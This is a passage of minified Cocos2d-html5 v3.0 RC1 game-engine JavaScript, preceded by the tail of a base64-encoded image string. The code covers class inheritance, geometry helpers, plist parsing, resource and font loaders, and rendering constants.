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\x3d";var b=b||{},C={id:0|998*Math.random(),c1:0|998*Math.random(),vM:function(a,c,d){a=a.toString();var e=a.substring(a.indexOf("(")+1,a.indexOf(")")),e=e.trim();for(a=a.substring(a.indexOf("{")+1,a.lastIndexOf("}"));-1!=a.indexOf("this._super");){var f=a.indexOf("this._super"),g=a.indexOf("(",f),h=a.substring(g+1,a.indexOf(")",g)),h=h.trim();a=a.substring(0,f)+"ClassManager["+d+"]."+c+".call(this"+(h?",":"")+a.substring(g+1)}return Function(e,a)},e0:function(){return this.id++},f0:function(){return this.c1++}};
  67. C.vM.M5=C;
  68. (function(){var a=/\b_super\b/,c=b.Hc.Qe[b.Hc.bh.tZ];c&&console.log("release Mode");b.ja=function(){};b.ja.extend=function(d){function e(){this.xa=C.f0();this.ctor&&this.ctor.apply(this,arguments)}var f=this.prototype,g=Object.create(f),h=C.e0();C[h]=f;var k={writable:!0,enumerable:!1,configurable:!0};g.xa=null;e.id=h;k.value=h;Object.defineProperty(g,"__pid",k);e.prototype=g;k.value=e;Object.defineProperty(e.prototype,"constructor",k);this.$h&&(e.$h=b.j(this.$h));this.ai&&(e.ai=b.j(this.ai));for(var m=
  69. 0,p=arguments.length;m<p;++m){var r=arguments[m],s;for(s in r){var u="function"===typeof r[s],t="function"===typeof f[s],v=a.test(r[s]);c&&u&&t&&v?(k.value=C.vM(r[s],s,h),Object.defineProperty(g,s,k)):u&&t&&v?(k.value=function(a,c){return function(){var d=this._super;this._super=f[a];var e=c.apply(this,arguments);this._super=d;return e}}(s,r[s]),Object.defineProperty(g,s,k)):u?(k.value=r[s],Object.defineProperty(g,s,k)):g[s]=r[s];if(u){var w,y;if(this.$h&&this.$h[s]){var u=this.$h[s],B;for(B in this.ai)if(this.ai[B]==
  70. u){y=B;break}b.f(g,u,r[s],r[y]?r[y]:g[y],s,y)}if(this.ai&&this.ai[s]){u=this.ai[s];for(B in this.$h)if(this.$h[B]==u){w=B;break}b.f(g,u,r[w]?r[w]:g[w],r[s],w,s)}}}}e.extend=b.ja.extend;e.Oca=function(a){for(var c in a)g[c]=a[c]};return e};Function.prototype.bind=Function.prototype.bind||function(a){var c=this;return function(){var f=Array.prototype.slice.call(arguments);return c.apply(a||null,f)}}})();
  71. b.f=function(a,c,d,e,f,g){if(a.__defineGetter__)d&&a.__defineGetter__(c,d),e&&a.__defineSetter__(c,e);else if(Object.defineProperty){var h={enumerable:!1,configurable:!0};d&&(h.get=d);e&&(h.set=e);Object.defineProperty(a,c,h)}else throw Error("browser does not support getters");if(!f&&!g)for(var h=null!=d,k=void 0!=e,m=Object.getOwnPropertyNames(a),p=0;p<m.length;p++){var r=m[p];if((a.__lookupGetter__?!a.__lookupGetter__(r):!Object.getOwnPropertyDescriptor(a,r))&&"function"===typeof a[r]){var s=a[r];
  72. if(h&&s===d&&(f=r,!k||g))break;if(k&&s===e&&(g=r,!h||f))break}}a=a.constructor;f&&(a.$h||(a.$h={}),a.$h[f]=c);g&&(a.ai||(a.ai={}),a.ai[g]=c)};b.j=function(a){var c=a.constructor?new a.constructor:{},d;for(d in a){var e=a[d];c[d]="object"!=typeof e||!e||e instanceof b.q||e instanceof HTMLElement?e:b.j(e)}return c};b=b||{};b.B=b.B||{};b.X8=function(){};
  73. b.sq={nM:8,w4:9,SM:13,shift:16,z9:17,alt:18,pause:19,i9:20,escape:27,hga:33,gga:34,end:35,home:36,left:37,dka:38,right:39,P9:40,Sca:45,W5:46,0:48,1:49,2:50,3:51,4:52,5:53,6:54,7:55,8:56,9:57,a:65,b:66,C:67,I:68,Mg:69,Gh:70,g:71,hp:72,Zs:73,Nx:74,Ox:75,Yx:76,by:77,cl:78,ey:79,jy:80,py:81,r:82,$F:83,BG:84,ea:85,fa:86,H:87,x:88,y:89,z:90,xfa:96,yfa:97,zfa:98,Afa:99,Bfa:100,Cfa:101,Dfa:102,Efa:103,Ffa:104,Gfa:105,"*":106,"+":107,"-":109,numdel:110,"/":111,x$:112,B$:113,C$:114,D$:115,E$:116,F$:117,G$:118,
  74. H$:119,I$:120,y$:121,z$:122,A$:123,Jfa:144,qha:145,sha:186,",":186,v$:187,"\x3d":187,";":188,u9:188,A9:189,".":190,nga:190,S$:191,Kca:192,"[":219,Rfa:219,"]":221,r9:221,Y8:220,quote:222,Dja:32};b.b6=0;b.jz=1;b.cH=2;b.c6=3;b.d6=4;b.fR=5;b.T_=function(a){return 8<a.length&&137==a[0]&&80==a[1]&&78==a[2]&&71==a[3]&&13==a[4]&&10==a[5]&&26==a[6]&&10==a[7]?b.jz:2<a.length&&(73==a[0]&&73==a[1]||77==a[0]&&77==a[1]||255==a[0]&&216==a[1])?b.cH:b.fR};
  75. b.Pca=function(a,c){function d(){}d.prototype=c.prototype;a.Ly=c.prototype;a.prototype=new d;a.prototype.constructor=a};
  76. b.Z8=function(a,c,d){var e=arguments.callee.caller;if(e.Ly)return ret=e.Ly.constructor.apply(a,Array.prototype.slice.call(arguments,1));for(var f=Array.prototype.slice.call(arguments,2),g=!1,h=a.constructor;h;h=h.Ly&&h.Ly.constructor)if(h.prototype[c]===e)g=!0;else if(g)return h.prototype[c].apply(a,f);if(a[c]===e)return a.constructor.prototype[c].apply(a,f);throw Error("cc.base called from a method of one name to a method of a different name");};b.T6=function(a,c){this.x=a||0;this.y=c||0};function N(a,c){return void 0==a?{x:0,y:0}:void 0==c?{x:a.x,y:a.y}:{x:a,y:c}}b.QF=function(a,c){return a&&c&&a.x===c.x&&a.y===c.y};b.Z6=function(a,c){this.width=a||0;this.height=c||0};function O(a,c){return void 0===a?{width:0,height:0}:void 0===c?{width:a.width,height:a.height}:{width:a,height:c}}b.Aja=function(a,c){return a&&c&&a.width==c.width&&a.height==c.height};b.MH=function(a,c,d,e){this.x=a||0;this.y=c||0;this.width=d||0;this.height=e||0};
  77. function Q(a,c,d,e){return void 0===a?{x:0,y:0,width:0,height:0}:void 0===c?{x:a.x,y:a.y,width:a.width,height:a.height}:{x:a,y:c,width:d,height:e}}b.IO=function(a,c){return a&&c&&a.x===c.x&&a.y===c.y&&a.width===c.width&&a.height===c.height};b.LC=function(a){return a&&0===a.x&&0===a.y&&0===a.width&&0===a.height};b.Ega=function(a,c){return a&&c?!(a.x>=c.x||a.y>=c.y||a.x+a.width<=c.x+c.width||a.y+a.height<=c.y+c.height):!1};b.zt=function(a){return a.x+a.width};b.Fga=function(a){return a.x+a.width/2};
  78. b.yp=function(a){return a.x};b.At=function(a){return a.y+a.height};b.Gga=function(a){return a.y+a.height/2};b.zp=function(a){return a.y};b.HO=function(a,c){return c.x>=b.yp(a)&&c.x<=b.zt(a)&&c.y>=b.zp(a)&&c.y<=b.At(a)};b.JO=function(a,c){var d=a.y+a.height,e=c.x+c.width,f=c.y+c.height;return!(a.x+a.width<c.x||e<a.x||d<c.y||f<a.y)};b.Iga=function(a,c){return!(a.x+a.width<c.x||c.x+c.width<a.x||a.y+a.height<c.y||c.y+c.height<a.y)};
  79. b.qy=function(a,c){var d=Q(0,0,0,0);d.x=Math.min(a.x,c.x);d.y=Math.min(a.y,c.y);d.width=Math.max(a.x+a.width,c.x+c.width)-d.x;d.height=Math.max(a.y+a.height,c.y+c.height)-d.y;return d};b.Hga=function(a,c){var d=Q(Math.max(b.yp(a),b.yp(c)),Math.max(b.zp(a),b.zp(c)),0,0);d.width=Math.min(b.zt(a),b.zt(c))-b.yp(d);d.height=Math.min(b.At(a),b.At(c))-b.zp(d);return d};b.Fu=b.ja.extend({YK:null,YB:null,ctor:function(){window.DOMParser?(this.YB=!0,this.YK=new DOMParser):this.YB=!1},parse:function(a){return this.rC(a)},rC:function(a){var c;this.YB?c=this.YK.parseFromString(a,"text/xml"):(c=new ActiveXObject("Microsoft.XMLDOM"),c.async="false",c.loadXML(a));return c}});
  80. b.xS=b.Fu.extend({parse:function(a){a=this.rC(a).documentElement;if("plist"!=a.tagName)throw"Not a plist file!";for(var c=null,d=0,e=a.childNodes.length;d<e&&(c=a.childNodes[d],1!=c.nodeType);d++);return this.qC(c)},qC:function(a){var c=null,d=a.tagName;if("dict"==d)c=this.kX(a);else if("array"==d)c=this.jX(a);else if("string"==d)if(1==a.childNodes.length)c=a.firstChild.nodeValue;else for(c="",d=0;d<a.childNodes.length;d++)c+=a.childNodes[d].nodeValue;else"false"==d?c=!1:"true"==d?c=!0:"real"==d?
  81. c=parseFloat(a.firstChild.nodeValue):"integer"==d&&(c=parseInt(a.firstChild.nodeValue,10));return c},jX:function(a){for(var c=[],d=0,e=a.childNodes.length;d<e;d++){var f=a.childNodes[d];1==f.nodeType&&c.push(this.qC(f))}return c},kX:function(a){for(var c={},d=null,e=0,f=a.childNodes.length;e<f;e++){var g=a.childNodes[e];1==g.nodeType&&("key"==g.tagName?d=g.firstChild.nodeValue:c[d]=this.qC(g))}return c}});b.WL={load:function(a,c,d,e){b.V.ay(a,e)}};b.V.Kj(["txt","xml","vsh","fsh","atlas"],b.WL);b.MW={load:function(a,c,d,e){b.V.nO(a,e)}};b.V.Kj(["json","ExportJson"],b.MW);b.sW={load:function(a,c,d,e){b.V.Zf[c]=b.V.ht(a,function(a,d){if(a)return e(a);b.Da.Nb(c);e(null,d)})}};b.V.Kj("png jpg bmp jpeg gif ico".split(" "),b.sW);b.FX={load:function(a,c,d,e){b.V.Zf[c]=b.V.ht(d.src,function(a,d){if(a)return e(a);b.Da.Nb(c);e(null,d)})}};b.V.Kj(["serverImg"],b.FX);
  82. b.pX={load:function(a,c,d,e){b.V.ay(a,function(a,c){if(a)return e(a);e(null,b.s2.parse(c))})}};b.V.Kj(["plist"],b.pX);
  83. b.EV={FT:{".eot":"embedded-opentype",".ttf":"truetype",".woff":"woff",".svg":"svg"},MK:function(a,c,d){var e=document,f=b.path,g=this.FT,h=b.Ob("style");h.type="text/css";e.body.appendChild(h);var k="@font-face { font-family:"+a+"; src:";if(c instanceof Array)for(var m=0,p=c.length;m<p;m++)d=f.Xk(c[m]).toLowerCase(),k+="url('"+c[m]+"') format('"+g[d]+"')",k+=m==p-1?";":",";else k+="url('"+c+"') format('"+g[d]+"');";h.textContent+=k+"};";c=b.Ob("div");d=c.style;d.fontFamily=a;c.innerHTML=".";d.position=
  84. "absolute";d.left="-100px";d.top="-100px";e.body.appendChild(c)},load:function(a,c,d,e){c=d.type;a=d.name;c=d.Fja;"string"==typeof d?(c=b.path.Xk(d),a=b.path.lZ(d,c),this.MK(a,d,c)):this.MK(a,c);e(null,!0)}};b.V.Kj(["font","eot","ttf","woff","svg"],b.EV);b.O7={load:function(a,c,d,e){b.V.S1(a,e)}};window.CocosEngine=b.gz="Cocos2d-html5 v3.0 RC1";b.kn=0;b.bz=N(0,0);b.JQ=0.5;b.L5=1;b.Zz=1;b.gS=0;b.WH=0;b.bA=0;b.e7=0;b.V6=1;b.U6="-hd";b.tU=1;b.Wj=0;b.X6=0;b.DR=0;b.CR=0;b.rz=1;b.O5=b.gz+"-canvas";b.au=1;b.eh=1;b.wb=function(a){var c=this==b?document:this;if(a=a instanceof HTMLElement?a:c.querySelector(a))a.find=a.find||b.wb,a.fF=a.fF||function(a){return this.className.match(RegExp("(\\s|^)"+a+"(\\s|$)"))},a.hM=a.hM||function(a){this.fF(a)||(this.className&&(this.className+=" "),this.className+=a);return this},a.K2=a.K2||function(a){this.fF(a)&&(this.className=this.className.replace(a,""));return this},a.remove=a.remove||function(){this.parentNode&&this.parentNode.removeChild(this);return this},a.kM=a.kM||
  85. function(a){a.appendChild(this);return this},a.x2=a.x2||function(a){a.childNodes[0]?a.insertBefore(this,a.childNodes[0]):a.appendChild(this);return this},a.Pt=a.Pt||function(){this.style[b.wb.F4]=b.wb.translate(this.position)+b.wb.rotate(this.rotation)+b.wb.scale(this.scale)+b.wb.Hp(this.Hp);return this},a.position=a.position||{x:0,y:0},a.rotation=a.rotation||0,a.scale=a.scale||{x:1,y:1},a.Hp=a.Hp||{x:0,y:0},a.PP=function(a,c){this.position.x=a;this.position.y=c;this.Pt()},a.rotate=function(a){this.rotation=
  86. a;this.Pt();return this},a.resize=function(a,c){this.scale.x=a;this.scale.y=c;this.Pt();return this},a.Sia=function(a,c){this.Hp.x=a;this.Hp.y=c;this.Pt();return this};return a};switch(b.ib.zm){case b.ib.Tp:b.wb.vt="Moz";b.wb.ip=!0;break;case b.ib.Uy:case b.ib.Xy:b.wb.vt="webkit";b.wb.ip=!0;break;case b.ib.Wy:b.wb.vt="O";b.wb.ip=!1;break;case b.ib.Vy:b.wb.vt="ms";b.wb.ip=!1;break;default:b.wb.vt="webkit",b.wb.ip=!0}b.wb.F4=b.wb.vt+"Transform";
  87. b.wb.translate=b.wb.ip?function(a){return"translate3d("+a.x+"px, "+a.y+"px, 0) "}:function(a){return"translate("+a.x+"px, "+a.y+"px) "};b.wb.rotate=b.wb.ip?function(a){return"rotateZ("+a+"deg) "}:function(a){return"rotate("+a+"deg) "};b.wb.scale=function(a){return"scale("+a.x+", "+a.y+") "};b.wb.Hp=function(a){return"skewX("+-a.x+"deg) skewY("+a.y+"deg)"};b.cQ=function(){return b.wb(document.createElement("input"))};
  88. b.wb.N$=function(a){var c=0,d=0;do c+=a.offsetLeft,d+=a.offsetTop;while(a=a.offsetParent);return{x:c,y:d}};b.n6=-1;b.PI=Math.PI;b.eR=parseFloat("3.402823466e+38F");b.a6=parseFloat("1.175494351e-38F");b.yS=b.PI/180;b.XG=180/b.PI;b.rA=4294967295;b.IP=function(a,c,d){if("object"==typeof d&&"undefined"!=typeof d.x&&"undefined"!=typeof d.y){var e=d[a];d[a]=d[c];d[c]=e}else b.log(b.e.IP)};b.jfa=function(a,c,d){return a+(c-a)*d};b.Bb=function(){return 16777215*Math.random()};b.C2=function(){return 2*(Math.random()-0.5)};b.xga=Math.random;b.$f=function(a){return a*b.yS};b.SF=function(a){return a*b.XG};
  89. b.EO=function(a){b.log(b.e.EO);return a*b.XG};b.Bq=Number.MAX_VALUE-1;b.hc=b.gS?1:770;b.gc=771;b.kt=function(a){a.Hb&&(a.Hb.Mc(),a.Hb.af())};b.u$=function(){};b.G9=function(){};b.cg=function(){b.bg+=1};b.uu=1.192092896E-7;b.rb=b.rz?function(){return b.D.hh}:function(){return 1};b.t2=function(a){var c=b.rb();return N(a.x*c,a.y*c)};b.RF=function(a){var c=b.rb();return N(a.x/c,a.y/c)};b.vC=function(a,c){var d=b.rb();c.x=a.x/d;c.y=a.y/d};b.g4=function(a){var c=b.rb();return O(a.width*c,a.height*c)};
  90. b.DP=function(a){var c=b.rb();return O(a.width/c,a.height/c)};b.LL=function(a,c){var d=b.rb();c.width=a.width/d;c.height=a.height/d};b.Jj=b.rz?function(a){var c=b.rb();return Q(a.x/c,a.y/c,a.width/c,a.height/c)}:function(a){return a};b.Bt=b.rz?function(a){var c=b.rb();return Q(a.x*c,a.y*c,a.width*c,a.height*c)}:function(a){return a};b.ONE=1;b.ZERO=0;b.SRC_ALPHA=770;b.SRC_ALPHA_SATURATE=776;b.SRC_COLOR=768;b.DST_ALPHA=772;b.DST_COLOR=774;b.ONE_MINUS_SRC_ALPHA=771;b.ONE_MINUS_SRC_COLOR=769;
  91. b.ONE_MINUS_DST_ALPHA=773;b.ONE_MINUS_DST_COLOR=775;b.ONE_MINUS_CONSTANT_ALPHA=32772;b.ONE_MINUS_CONSTANT_COLOR=32770;b.Ro=function(){if(b.sy==b.$){var a=b.k.getError();a&&b.log(CC.zb.Ro,a)}};b.S5=0;b.Q5=1;b.T5=2;b.R5=3;b.P5=2;b.E7=0;b.Od=1;b.Tu=2;b.wn=4;b.Gl=b.Od|b.Tu|b.wn;b.f6=0;b.tb=0;b.Ae=1;b.yd=2;b.F7=3;b.uA=0;b.tA=1;b.Sq=2;b.yA=3;b.xA=4;b.sA=5;b.vA=6;b.wA=7;b.B7=8;b.Ti="ShaderPositionTextureColor";b.Hu="ShaderPositionTextureColorAlphaTest";b.Gu="ShaderPositionColor";b.Eq="ShaderPositionTexture";
  92. b.Xz="ShaderPositionTexture_uColor";b.Wz="ShaderPositionTextureA8Color";b.Yz="ShaderPosition_uColor";b.QH="ShaderPositionLengthTextureColor";b.nU="CC_PMatrix";b.lU="CC_MVMatrix";b.mU="CC_MVPMatrix";b.rU="CC_Time";b.qU="CC_SinTime";b.kU="CC_CosTime";b.oU="CC_Random01";b.pU="CC_Texture0";b.II="CC_alpha_value";b.Rp="a_color";b.ml="a_position";b.gn="a_texCoord";b.qR=32;b.SG=3233828865;b.Uu=3233828866;b.MR=8801;b.zS=8802;b.KQ=8803;b=b||{};b.B=b.B||{};
